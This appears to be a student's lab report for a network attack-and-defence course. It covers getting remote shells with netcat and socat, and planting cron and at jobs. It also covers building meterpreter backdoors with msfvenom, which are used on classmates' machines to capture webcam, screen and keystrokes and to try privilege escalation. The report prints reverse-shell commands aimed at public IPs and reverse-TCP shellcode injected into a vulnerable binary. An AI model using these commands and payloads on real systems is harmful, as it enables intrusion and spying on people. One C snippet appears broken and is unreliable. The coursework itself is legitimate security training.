20202411 2022-2023-2 《网络与系统攻防技术》实验二实验报告

20202411 2022-2023-2 《网络与系统攻防技术》实验二实验报告

cover

1.实验内容

通过netcat进行不同主机间的获取Shell操作,并通过获取到的Shell进行设定cron启动任务。此外,通过netcat的高级版——socat进行主机间的获取Shell操作,设定任务启动。学习使用msfvenom进行后门创建,生成可执行文件并通过nc进行主机间的文件传输,通过执行生成的文件获取主机Shell,还可以通过msfvenom生成可执行文件去获取目标主机的音频,摄像头,键盘输入,可以去尝试提升权限。最后结合第一次实验的BOF,将生成的shellcode注入到pwn中进行反弹连接Shell。

注意此次的分割线,程序猿现实
d

2.1-回答几个小问题

(Q1)例举你能想到的一个后门进入到你系统中的可能方式?
(A1)黑客可以通过信息系统设置后门,也可以厂家才生产过程中故意设置或者忘记删除的后门,或者是其他系统的远程服务登入安装后门。
(Q2)例举你知道的后门如何启动起来(win及linux)的方式?
(A2)在Windows下,可以通过用户点击exe可执行程序进行启动,也可以通过任务计划或者触发器进行启动。在Linux中,可以设置定时任务或者shellcode注入的方式进行后门启动。
(Q3)Meterpreter有哪些给你映像深刻的功能?
(A3)MSF强大之处在于能够集成多种渗透工具,直接生成多种可执行程序,并且支持多种系统,多种语言,不同需求,不同类型的可执行文件生成。
(Q4)如何发现自己有系统有没有被安装后门?
(A4)可以去检查系统进程中是否有可疑进程和可疑服务,还可以查看可疑的系统启动项,查看是否有可疑的网络连接,检查系统日志中是否有可疑的记录。

d

3.实验过程

3.0-来好多好多台阿里云服务器

算是知道阿里云的强大后,这一次我结合本地Parallels Desktop虚拟机中的kali和阿里云服务器上的Ubuntu进行实验。因为本地电脑为MacBook Air M2,是基于ARM架构的,所以Parallels Desktop中也只能运行Windows on ARM,所以导致基于x86的netcat和socat无法直接运行。这就导致了我整个实验的进度远超预期。我也尝试通过阿里云的Windows Server 2012进行实验,但是卡的是真不成样子而且Server版的传文件不方便,下载东西也不方便。也在CentOS里用Docker搭建了kali但是连apt什么的都没有,vi都用不了。服了。不知道问什么本地kali想安装veil-evasion显示找不到。最后没办法,花了好久的时间在阿里云Ubuntu上安装了Metasploit,才完成本次实验,云服务器配置为32位Ubuntu16.04,1C1M。
3

d

3.1-使用netcat获取主机操作Shell,cron启动某项任务

遇到不会的首先想到的就是看看之前有没有人做过,然后就理所当然地被上一届的实验报告带错了方向。理解正确对方式之后,要查看两台主机各自的IP地址,在监听端通过nc -l -p 3389进行netcat的监听,使用3389端口的原因在上一篇博客里已说。在请求段通过nc 123.57.7.216 3389 -e /bin/sh进行连接请求,并允许监听端使用请求端的Shell。这里采用了一点超常规的手段,就是直接从监听端通过账户和口令的方式获取请求端的root权限。在请求端输入lecho "1 * * * * echo "20202411" > /home/chenshuhuan/20202411.txt" > /var/spool/cron/crontabs/root 将定时命令写入,即每隔一分钟在20202411.txt文件中写入20202411。过一小会儿打开txt文件可以看到已经有内容写入了。

35
36
37
d

3.2-使用socat获取主机操作Shell, 任务计划启动

因为Windows on ARM上无法直接运行x86的netcat和socat,所以这一部分的Windows计划启动部分我改成了在Linux上进行计划启动。那么这又和前一个任务的cron有什么区别的。这里的计划启动可以是设定具体时间。具体语法是at now+3minutes,这是说从当前时间算起3分钟后启动任务。在Shell中出现at> 后输入socat TCP4-LISTEN:3389 exec: /bin/sh,pty,stderr <EOT>,具体是采用TCP/IPv4对3389端口进行监听,可以运行Shell,最后的是结束符。而请求端通过socat - tcp:123.57.16.92:3389进行监听,在任务成功创建3分钟后请求端连接上监听端,并且能够运行请求端的Shell。

11
15
d

3.3-使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

因为kali中我没有找到可以使用摄像头的程序,所以我最开始是打算通过nmap进行局域网扫描并进行ARP欺骗,这里已经可以实现局域网内的监听,但是最大的问题也出现在这里。我的Windows是ARM版本的,并不能够通过metasploit生成的Windows可执行文件去进行渗透,所以我又选择了云服务器的Ubuntu进行装载后门,但是出现了一个问题,本地kali采用DHCP与外网相连,本地可以访问具有公网IP的云服务器,但是云服务器不知道本地的IP。刚开始我尝试了使用socket去获取本地IP。代码如下:

#请求端
import socket
client = socket.socket(family=socket.AF_INET,type=socket.SOCK_STREAM)
client.connect(('101.200.186.56',8080))
client.send('Hello'.encode('utf-8'))
client.close()

#监听端
import socket
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind(('0.0.0.0',8080))
server.listen(5)
conn,ip_addr = server.accept()
res = conn.recv(1024)
print(ip_addr)
print(res.decode('utf-8'))
conn.close()
server.close()

12

可以看到kali请求端的IP:Port是123.127.3.97:58964,端口在这里意义不大,但是通过这个IP地址并不能够成功通过nc连接。所以还得换个方法。在这里也尝试过在云服务器中安装CentOS,然后在CentOS中搭建kali,然后用kali去连接另一台Ubuntu,但是这kali里面什么都没有,apt没有,vi没有。敲一个命令一个找不到命令。算了。
17

然后还尝试在本地的ARM Ubuntu上当作靶机,但是metasploit的payload中只有armbe和armle,查阅之后知道了这ARM是分大端存储和小端存储的,所以采用以下程序判断,结果我这点Ubuntu是小端存储。

代码参考自夜流冰《编程参考- 如何判断当前系统架构是大端还是小端》

#include <stdio.h>

typedef struct { 
	int a; 
	int b;
	int c;
} Foo_Type;

int main(){ 
	Foo_Type bar; 
	bar.a = 1; 
	bar.b = 2; 
	bar.c = 3; 
	int * p = (int*); 
	printf("%d %d %d\n", p[0],p[1],p[2]);
	bar.a = 0x12345678;
	printf("0x%X\n", bar.a);
	unsigned char * pc = (unsigned char*); 
	printf("0x%X 0x%X 0x%X 0x%X\n", pc[0], pc[1], pc[2], pc[3]); 
	return 0;
}

所以我采用了linux/armle/meterpreter/reverse_tcp作为payload,通过metasploit生成elf文件,问题在这里,Linux中不按照后缀名作为启动方式,所以elf方式我没弄懂到底要如何启动。所以还得换方法。

23
24
想在本地kali上安装veil-evasion进行metasploit的替换,但是apt显示找不到veil。后来我甚至还到Amazon AWS上去看了看预装kali的云服务器,但是不用魔法不用sms大陆并没有办法访问。有用的流量要留给BingChat和ChatGPT。所以最后的最后,我还是在阿里云上另外租了一台服务器,Ubuntu系统,在里面安装了metasploit。通过metasploit生成x86 Windows下的可执行文件。可以通过python/meterpreter/reverse_tcp当作payload,生成的python文件如下:
29
28

22
30

这样就成功完成获取主机Shell的任务。

d

3.4-使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

我想试试通过上述python文件继续执行获取摄像头,音频等信息,但是可以python文件并不支持,所以改变payload,通过msfvenom -p windows/meterpreter/reverse_tcp LHOST=123.57.7.216 LPORT=3389 -f exe > 20202411_backdoor.exe生成exe可执行文件,并分发给使用Intel芯片Windows的同学,在监听端输入msfconsole进入msf终端,use exploit/multi/handler调用监听模块,set payload windows/meterpreter/reverse_tcp设置与payload一样,set LHOST=123.57.7.216为监听IP,但因为不是在局域网内,所以用公网IP并没有用,系统会自动更改为0.0.0.0,对所有连接进行监听,set LPORT 3389设置监听端口,exploit开始监听。在成功连接之后,输入webcam_snap进行摄像头拍摄,输入screenshot进行屏幕截屏,输入keyscan_start开始监听键盘。因为在服务器端没有浏览器所以并不能看到摄像头的录像。通过getuidgetsystem可以进行提权。

因为涉及到同学隐私,所以照片进行了部分遮挡。

31
32
jhy
hry
doge
gb

33

d

3.5-使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

通过msfvenom -p linux/x86/shell_reverse_tcp LHOST=123.57.7.216 LPORT=3389 -f c可以直接生成shellcode,具体代码如下

\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7b\x39\x07\xd8\x68\x02\x00\x0d\x3d\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80

通过perl将这段shellcode重定向进入input_shell2411中,再通过(cat input_shel12411; cat) | ./pwn2进行shellcode注入。我是真的服了这隐蔽性是真好,被监听者不知道被监听,连监听者也不知道成功监听,Shell中一点变化都没有,我还以为我做失败了。
38
39

d

4.问题及解决方案

  • 问题1:cron的默认编辑器nano是真难用还不知道如何改成vi
  • 问题1解决方案:在/var/spool/cron目录下输入export EDITOR=vi,更改默认编辑器。有一说一这nano是真难用。
  • 问题2:无法进行提权
  • 问题2解决方案:采用exploit/windows/local/ask,模拟一个UAC确认窗口,欺骗用户点击,从而获取权限。
  • 问题3:没有ARM架构的Windows的payload
  • 问题3解决方案:我服了真的,就是这一个原因间接引出其他80%对问题,具体解决方法我觉得与其放在这,不如放在下面的感悟里。
  • 问题4:对Linux下计划任务不熟悉
  • 问题4解决方案:可以通过apt安装at这个包,通过at [选项][时间]的方式进行设置计划任务,到点自动启动。
  • 问题5:Ubuntu安装metasploit
  • 问题5解决方案:通过下载从metasploit网站上下载,并到服务器上去sudo gdebi metasploit-framework_6.3.9+20230321102719_1rapid7-1_amd64.deb进行安装,在这里不要去通过git,gem和bundle进行安装,第一需要多安装rubygem,其次版本不对就一直卡着。

d

5.学习感悟、思考等

只能说如果有保姆级教程跟着一步一步做,那么其实没有什么实验会是难的,但是当你找到的资料你用不上的时候,这个时候才最要命,因为老师发的netcat和socat的压缩包都是x86的,我尝试了在Windows on ARM上运行,但是没有响应,所以就无法用Windows做这次的实验,这就对整个实验造成了极大的干扰。所以所以接下来就是遇到问题解决问题的路径。如果没有用Windows的计划任务,那么如何代替?LInux下的at结合crontab可以解决。没有x86的Windows如何进行MSF生成后门应用?将攻击机安装在云端,对同学的x86Windows进行渗透,如何对Windows on ARM进行渗透?暂时没找到办法,换个思路,如何对Linux ARM渗透?通过MSF生成Linux的对应文件,如何判断MSF的armbe和armle?编写程序判断Linux ARM采用小端存储。能否用本地kali作为攻击机而服务器作为靶机?本地kali是虚拟机并且采用DHCP方式,服务器无法主动连接,换个思路,在云服务器上安装两台,一台当攻击机,一台当靶机。本地kali无法安装veil?本地不行就在云端用其他方式。CentOS的Docker搭建的kali什么都没有?Docker算是用不明白了,直接在Ubuntu中安装metasploit使用好了。

d

参考资料

还有些参考可能看了就关了,Safari,Firefox,Edge,Chrome开着几十个网页,电脑买来就没这么卡过。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值